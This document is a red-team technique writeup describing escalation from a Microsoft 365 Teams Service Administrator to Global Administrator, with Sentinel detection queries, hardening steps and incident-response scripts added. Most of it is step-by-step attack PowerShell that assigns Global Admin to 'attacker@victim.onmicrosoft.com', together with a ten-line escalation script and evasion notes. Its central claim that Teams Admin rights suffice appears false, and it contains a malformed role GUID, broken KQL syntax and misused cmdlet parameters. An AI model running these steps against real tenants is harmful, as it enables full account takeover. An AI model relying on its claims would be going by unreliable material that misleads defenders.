| Attribute | Details |
|---|---|
| Technique ID | PE-ACCTMGMT-004 |
| MITRE ATT&CK v18.1 | T1098 - Account Manipulation |
| Tactic | Privilege Escalation |
| Platforms | Microsoft 365 / Entra ID |
| Severity | High |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | All M365 tenants with Teams enabled |
| Patched In | N/A (Design behavior) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: The Teams Service Administrator role in Microsoft 365 grants broad permissions over Teams tenant configurations and service settings. An attacker with Teams Admin privileges can escalate to Global Administrator through manipulation of administrative account permissions, unauthorized Global Admin role assignments, or service principal credential manipulation. Unlike many escalation techniques that require complex exploits, this method leverages misconfigured role permissions and the interconnected nature of M365 service administration.
Attack Surface: The Teams Admin Center, Microsoft Graph API endpoints related to Teams service principals and role assignments, and the Azure Entra ID administrative interface.
Business Impact: Complete M365 tenant compromise. Once elevated to Global Administrator, an attacker gains unrestricted access to all Microsoft 365 services, including Exchange Online, SharePoint, Teams, Entra ID, Azure resources, and data encryption keys. This enables wholesale data exfiltration, mailbox access, account creation/deletion, security policy modification, and ransomware deployment.
Technical Context: This escalation typically takes 5-30 minutes to execute and has a low detection likelihood if conducted during normal business hours or with proper timing to blend with legitimate administrative activity. The attack leaves audit trail evidence in the Unified Audit Log under “Add member to role” operations but may be missed by organizations without dedicated monitoring for privilege escalation events.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmarks | 1.1.1 | Ensure Global administrator accounts are used sparingly and role-based access control (RBAC) is implemented |
| DISA STIG | M365-SRG-DM-001 | Enforce principle of least privilege for administrative roles |
| NIST 800-53 | AC-2, AC-3, AC-6 | Account Management, Access Enforcement, Least Privilege |
| GDPR | Art. 32 | Security of Processing - administrative access controls |
| DORA | Art. 9 | Protection and Prevention - identity and access management |
| NIS2 | Art. 21 | Cyber Risk Management Measures - privileged access management |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights |
| ISO 27005 | Risk Scenario 3.2 | Compromise of Administration Interface |
Supported Versions:
Required Tools:
# Connect to Microsoft Graph with current user context
Connect-MgGraph -Scopes "RoleManagement.Read.Directory"
# Get current user's assigned roles
$currentUser = Get-MgContext | Select-Object -ExpandProperty Account
$userId = (Get-MgUser -Filter "userPrincipalName eq '$($currentUser)'").Id
# List all assigned roles for current user
Get-MgUserMemberOf -UserId $userId -All | Where-Object { $_.'@odata.type' -eq '#microsoft.graph.directoryRole' } | Select-Object DisplayName, Id
# Check if Teams Admin role is present
Get-MgUserMemberOf -UserId $userId -All | Where-Object { $_.DisplayName -eq 'Teams Service Administrator' }
What to Look For:
Version Note: Works on all current M365 tenants; no version-specific variants.
# Install Azure CLI if not present
# https://learn.microsoft.com/en-us/cli/azure/install-azure-cli
az login
az ad role member list --role-id "69091246-6b7b-47a3-a953-f0db4c5f59f" # Teams Service Admin role ID
Supported Versions: All M365 (2024-2025)
Objective: Establish authenticated session to Microsoft Graph with delegated permissions for role assignment.
Command:
# Install module if needed
Install-Module Microsoft.Graph -Force
# Connect to Microsoft Graph with necessary scopes
Connect-MgGraph -Scopes "RoleManagement.ReadWrite.Directory", "User.ReadWrite.All"
# Verify successful authentication
Get-MgContext
Expected Output:
TenantId: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
ClientId: 14d82eec-204b-4c2f-b3e2-2b3734c32e91
Scopes: {RoleManagement.ReadWrite.Directory, User.ReadWrite.All}
AuthType: Delegated
What This Means:
TenantId confirms connection to correct tenantScopes must include RoleManagement.ReadWrite.Directory to assign rolesAuthType: Delegated means authentication is via user credentials (Teams Admin account)OpSec & Evasion:
Troubleshooting:
Connect-MgGraph: AADSTS65001: The user or admin has not consented to use the application...
az login with admin account, or grant consent via Azure Portal → App RegistrationsGet-MgContext: The term 'Get-MgContext' is not recognized
Import-Module Microsoft.Graph.Authentication or reinstall moduleObjective: Find the user account to elevate to Global Administrator (typically the attacker’s own account or a compromised account).
Command:
# Get current authenticated user
$currentUser = Get-MgContext | Select-Object -ExpandProperty Account
Write-Host "Current User: $currentUser"
# Alternative: Get target user by UPN
$targetUPN = "attacker@victim.onmicrosoft.com"
$targetUser = Get-MgUser -Filter "userPrincipalName eq '$targetUPN'"
Write-Host "Target User ID: $($targetUser.Id)"
Write-Host "Target User: $($targetUser.UserPrincipalName)"
Expected Output:
Target User ID: 12345678-1234-1234-1234-123456789012
Target User: attacker@victim.onmicrosoft.com
What This Means:
User ID is the unique identifier needed for role assignmentObjective: Retrieve the Entra ID object ID for the Global Administrator role.
Command:
# Get Global Administrator role
$globalAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
if ($null -eq $globalAdminRole) {
# If role not yet activated, activate it
$roleTemplate = Get-MgDirectoryRoleTemplate -Filter "displayName eq 'Global Administrator'"
$newRole = New-MgDirectoryRole -RoleTemplateId $roleTemplate.Id
$globalAdminRole = $newRole
}
Write-Host "Global Admin Role ID: $($globalAdminRole.Id)"
Expected Output:
Global Admin Role ID: 62e90394-69f5-4237-9190-012177145e10
What This Means:
Objective: Add the target user to the Global Administrator role membership.
Command:
# Assign Global Administrator role
New-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id -DirectoryObjectId $targetUser.Id
# Verify assignment
$rolesAfter = Get-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id | Where-Object { $_.Id -eq $targetUser.Id }
if ($rolesAfter) {
Write-Host "SUCCESS: Global Admin role assigned to $($targetUser.UserPrincipalName)"
} else {
Write-Host "FAILED: Assignment did not complete"
}
Expected Output:
SUCCESS: Global Admin role assigned to attacker@victim.onmicrosoft.com
What This Means:
OpSec & Evasion:
Objective: Confirm Global Administrator role assignment from the target user’s perspective.
Command (Run from target user’s account):
# Connect as the newly elevated user
$cred = Get-Credential # Enter target user credentials
Disconnect-MgGraph
Connect-MgGraph -Credential $cred -Scopes "RoleManagement.Read.Directory"
# Get current user's roles
$currentUserId = (Get-MgUser -Filter "userPrincipalName eq '$($cred.UserName)'").Id
$roles = Get-MgUserMemberOf -UserId $currentUserId -All | Where-Object { $_.'@odata.type' -eq '#microsoft.graph.directoryRole' }
$roles | ForEach-Object { Write-Host "Role: $($_.DisplayName)" }
Expected Output:
Role: Global Administrator
References & Proofs:
Supported Versions: All M365 (2024-2025)
Objective: Navigate to Teams Admin Center and authenticate as Teams Service Administrator.
Manual Steps:
What to Look For:
Objective: Access Entra ID role management interface from Teams Admin Center.
Manual Steps:
What to Look For:
Objective: Add target user to Global Administrator role membership.
Manual Steps:
Expected Result:
OpSec & Evasion:
Objective: Confirm target user now appears as Global Administrator.
Manual Steps:
Expected Result:
Supported Versions: All M365 (2024-2025)
Prerequisites: Must have Cloud Application Administrator or Application Administrator role assigned to a Service Principal.
Objective: Establish authenticated session using Service Principal credentials.
Command:
# Variables
$tenantId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx" # Your tenant ID
$clientId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx" # Service Principal app ID
$clientSecret = "your_client_secret_value" # Service Principal secret
# Create credential object
$securePassword = ConvertTo-SecureString -String $clientSecret -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential($clientId, $securePassword)
# Connect using service principal
Connect-MgGraph -TenantId $tenantId -ClientSecretCredential $credential
Expected Output:
TenantId: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
ClientId: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
AuthType: AppOnly
What This Means:
AuthType: AppOnly confirms service principal authenticationObjective: Elevate user privileges using service principal’s elevated permissions.
Command:
# Get target user
$targetUPN = "attacker@victim.onmicrosoft.com"
$targetUser = Get-MgUser -Filter "userPrincipalName eq '$targetUPN'"
# Get Global Admin role
$globalAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
# Assign role
New-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id -DirectoryObjectId $targetUser.Id
Write-Host "Escalation complete: $($targetUser.UserPrincipalName) is now Global Administrator"
Why This is Dangerous:
Detection: Appears in AuditLogs but source is a service principal, not a user account.
# Atomic Red Team-style test
Import-Module Microsoft.Graph.Identity.DirectoryManagement
$testUserUPN = "atomictest@$($env:USERDOMAIN)"
$testUser = Get-MgUser -Filter "userPrincipalName eq '$testUserUPN'"
if ($testUser) {
$globalAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
New-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id -DirectoryObjectId $testUser.Id
Write-Host "Test: User $testUserUPN assigned Global Administrator role"
} else {
Write-Host "Test: User $testUserUPN not found"
}
# Remove Global Administrator role from test user
$testUser = Get-MgUser -Filter "userPrincipalName eq '$testUserUPN'"
$globalAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
Remove-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id -DirectoryObjectId $testUser.Id
Write-Host "Cleanup: Global Administrator role removed from $testUserUPN"
Reference: Atomic Red Team - T1098.003
Version: 2.0+ Minimum Version: 2.0 Supported Platforms: Windows PowerShell 5.0+, PowerShell Core 7.0+ (cross-platform)
Installation:
# Install module
Install-Module Microsoft.Graph -Force -Scope CurrentUser
# Update module
Update-Module Microsoft.Graph
# Verify installation
Get-Module Microsoft.Graph -ListAvailable
Key Cmdlets for This Technique:
# Authentication
Connect-MgGraph -Scopes "RoleManagement.ReadWrite.Directory"
Disconnect-MgGraph
# Role Operations
Get-MgDirectoryRole # List all Entra ID roles
Get-MgDirectoryRoleMember -DirectoryRoleId # List members of a role
New-MgDirectoryRoleMember # Add user to role
Remove-MgDirectoryRoleMember # Remove user from role
# User Operations
Get-MgUser -Filter "userPrincipalName eq '...'" # Find user by UPN
Get-MgUserMemberOf -UserId # Get user's group/role memberships
Version Notes:
-Filter instead of -Query)# Full escalation in ~10 lines
Import-Module Microsoft.Graph.Identity.DirectoryManagement;
Connect-MgGraph -Scopes "RoleManagement.ReadWrite.Directory";
$user = Get-MgUser -Filter "userPrincipalName eq 'attacker@victim.onmicrosoft.com'";
$role = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'";
New-MgDirectoryRoleMember -DirectoryRoleId $role.Id -DirectoryObjectId $user.Id;
Write-Host "Escalation Success: $($user.UserPrincipalName) is Global Admin"
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName has ("Add member to role" or "Add eligible member to role")
| where TargetResources[0].displayName contains "Global Administrator"
| where Result == "Success"
| project
TimeGenerated,
OperationName,
InitiatedByUser=InitiatedBy.user.userPrincipalName,
InitiatedByIP=InitiatedBy.ipAddress,
TargetUser=TargetResources[0].displayName,
ModifiedProperties
| order by TimeGenerated desc
What This Detects:
Manual Configuration Steps (Azure Portal):
Global Administrator Role Assignment - AlertDetects unauthorized assignment of Global Administrator roleCriticalEnabled5 minutes1 hourOnBy all entitiesManual Configuration Steps (PowerShell):
# Connect to Sentinel
Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"
# Define rule parameters
$rule = @{
ResourceGroupName = $ResourceGroup
WorkspaceName = $WorkspaceName
DisplayName = "Global Administrator Role Assignment"
Query = @"
AuditLogs
| where OperationName has ("Add member to role" or "Add eligible member to role")
| where TargetResources[0].displayName contains "Global Administrator"
| where Result == "Success"
| project TimeGenerated, OperationName, InitiatedByUser=InitiatedBy.user.userPrincipalName, TargetUser=TargetResources[0].displayName
"@
Severity = "Critical"
Enabled = $true
Frequency = "PT5M"
Period = "PT1H"
}
# Create the rule
New-AzSentinelAlertRule @rule
Source: Microsoft Sentinel GitHub - Privilege Escalation Detection
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName has ("Add member to role" or "Add eligible member to role")
| where Result == "Success"
| summarize
AssignmentCount = count(),
UniqueTargets = dcount(TargetResources[0].displayName),
FirstAssignment = min(TimeGenerated),
LastAssignment = max(TimeGenerated)
by InitiatedBy.user.userPrincipalName, InitiatedBy.ipAddress
| where AssignmentCount >= 3
| project
InitiatedByUser=InitiatedBy_user_userPrincipalName,
SourceIP=InitiatedBy_ipAddress,
AssignmentCount,
UniqueTargets,
TimeRange = (LastAssignment - FirstAssignment)
| where TimeRange <= 10m
| order by AssignmentCount desc
What This Detects:
Implement Privileged Identity Management (PIM) for all administrative roles: Remove permanent Global Administrator assignments and require time-limited activation.
Applies To Versions: All M365 (2024+)
Manual Steps (Azure Portal):
1 hour (or less)ONONPowerShell (Entra ID only - Requires Premium P2):
# Configure PIM for Global Administrator role
$roleId = "62e90394-69f5-4237-9190-012177145e10" # Global Admin role ID
# Remove permanent assignments and require activation
# Note: Requires Microsoft.Graph.Identity.Governance module
Update-MgRoleManagementPolicy -UnifiedRoleManagementPolicyId $roleId -MaxActivationDuration "PT1H"
Restrict Teams Admin role assignment: Only assign Teams Service Administrator to dedicated admin accounts, never to day-to-day service accounts.
Manual Steps:
Enable cloud-only administrative accounts: Ensure Global Administrator and other privileged roles are assigned only to cloud-only Entra ID accounts (not synced from on-premises AD).
Manual Steps:
Enforce Conditional Access policies: Require device compliance, location restrictions, and MFA for all administrative access.
Manual Steps:
Restrict Admin Access to Compliant DevicesOnImplement multi-admin approval: Require two admins to approve high-risk role assignments.
Manual Steps:
ONApplies To: Intune and other services support Multi-Admin Approval
ONEnable Restricted Management Administrative Units (RMAU): Protect privileged user accounts and groups from modification by non-Global Admin roles.
Manual Steps:
Tier0-PrivilegedAdminsImplement role delegation: Separate Teams Admin responsibilities into granular roles (Teams Devices Administrator, Teams Communications Administrator, etc.).
Manual Steps:
Audit and monitor role assignments: Run monthly audits of who has administrative roles.
PowerShell Audit Script:
# Export all Global Admin assignments
$globalAdmins = Get-MgDirectoryRoleMember -DirectoryRoleId (Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'").Id
$globalAdmins | ForEach-Object {
$user = Get-MgUser -UserId $_.Id
Write-Host "$($user.UserPrincipalName) - Mail: $($user.Mail) - Account Type: $(if($user.OnPremisesSyncEnabled) {'Hybrid'} else {'Cloud'})"
}
Implement Azure Policy: Prevent creation of Entra ID roles outside of PIM.
Manual Steps:
Verification Command:
# Check if PIM is enforcing role activation
$globalAdminRole = Get-MgRoleManagementPolicy -Filter "scopeId eq '/' and scopeType eq 'DirectoryRole'" | Where-Object { $_.displayName -like "*Global Administrator*" }
# Get rule details
Get-MgRoleManagementPolicyRule -UnifiedRoleManagementPolicyId $globalAdminRole.Id | Select-Object RuleType, IsExpirationRequired, MaximumDuration
Write-Host "PIM Enabled: $(if($globalAdminRole) {'YES'} else {'NO'})"
Expected Output (If Secure):
RuleType: Activation
IsExpirationRequired: True
MaximumDuration: PT1H
PIM Enabled: YES
What to Look For:
IsExpirationRequired should be TrueMaximumDuration should be short (1-8 hours max)Add member to roleAdd eligible member to roleOperationName: “Add member to role”TargetResources[0].displayName: “Global Administrator”ModifiedProperties: Contains role assignment detailsIf Global Admin assignment detected (< 5 minutes):
# IMMEDIATELY revoke the malicious Global Admin assignment
$suspiciousUser = "attacker@victim.onmicrosoft.com"
$user = Get-MgUser -Filter "userPrincipalName eq '$suspiciousUser'"
$globalAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
Remove-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id -DirectoryObjectId $user.Id
Write-Host "REVOKED: $suspiciousUser is no longer Global Administrator"
# Revoke all active sessions
Revoke-MgUserSignInSession -UserId $user.Id
Write-Host "All sessions revoked for $suspiciousUser"
Manual (Azure Portal):
PowerShell:
# Export relevant audit logs
$auditLogs = Search-UnifiedAuditLog -Operations "Add member to role" -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) -ResultSize 5000
$auditLogs | Select-Object UserIds, Operations, ClientIP, CreationDate | Export-Csv -Path "C:\Evidence\RoleAssignment_Audit.csv"
# Export sign-in activity for suspicious user
Get-MgAuditLogSignIn -Filter "userPrincipalName eq 'attacker@victim.onmicrosoft.com'" -All | Export-Csv -Path "C:\Evidence\SigninLogs.csv"
Write-Host "Forensic evidence exported to C:\Evidence\"
Manual:
# Step 1: Remove all suspicious service principals
$suspiciousSPs = Get-MgServicePrincipal -Filter "createdDateTime gt 2025-01-01" | Where-Object { $_.appDisplayName -like "*attacker*" -or $_.appOwnerOrganizationId -ne (Get-MgContext).TenantId }
$suspiciousSPs | ForEach-Object {
Remove-MgServicePrincipal -ServicePrincipalId $_.Id
Write-Host "Removed service principal: $($_.appDisplayName)"
}
# Step 2: Reset passwords for all Global Admin accounts
$globalAdmins = Get-MgDirectoryRoleMember -DirectoryRoleId (Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'").Id
$globalAdmins | ForEach-Object {
$user = Get-MgUser -UserId $_.Id
# Note: Password reset requires additional permissions; delegate to admin
Write-Host "ACTION REQUIRED: Reset password for $($user.UserPrincipalName)"
}
# Step 3: Force re-authentication for all users
Write-Host "RECOMMENDATION: Force global re-authentication (requires Microsoft support)"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker phishes Teams Admin credentials via fake device login |
| 2 | Credential Access | [CA-TOKEN-009] Teams Token Extraction | Compromise Teams Admin’s refresh token for persistent access |
| 3 | Current Step | [PE-ACCTMGMT-004] | Escalate Teams Admin to Global Administrator |
| 4 | Persistence | [PE-ACCTMGMT-014] Global Administrator Backdoor | Create additional Global Admin accounts for persistence |
| 5 | Impact | [Impact Phase] Full Tenant Takeover | Delete MFA devices, export all emails, exfiltrate SharePoint data |